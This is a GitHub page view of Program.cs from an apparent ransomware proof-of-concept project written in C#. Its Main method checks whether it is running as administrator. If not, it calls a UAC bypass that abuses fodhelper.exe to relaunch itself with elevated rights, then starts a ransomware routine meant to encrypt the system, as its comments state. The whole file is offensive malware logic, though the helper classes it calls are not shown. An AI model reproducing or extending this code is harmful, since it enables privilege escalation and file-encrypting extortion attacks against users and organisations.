-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathProgram.cs
More file actions
28 lines (23 loc) · 1009 Bytes
/
Program.cs
File metadata and controls
28 lines (23 loc) · 1009 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using System;
using System.Runtime.InteropServices;
namespace Ilay_sRanomwarePoc
{
class Program
{
static void Main(string[] args)
{
//the check is for determining weather the program is running as admin. if not,
//it will execute a privilege esecelation exploit that uses a vulnarbility in fodhelper.exe process
//the exploit uses that process to execute the malware again by this process on higher privileges
//on the second instance itll be runnig a admin so we can start encrypting the system
if (!PrivilegeEscelator.IsRunnigAsAdmin())
{
Console.WriteLine("Hello World");
PrivilegeEscelator.UserAccountControlBypassOverFodHelperExe();
Environment.Exit(0);
}
RansomwareInstance RansomWare = new RansomwareInstance();
RansomWare.RansomwareInstanceExecution();
}
}
}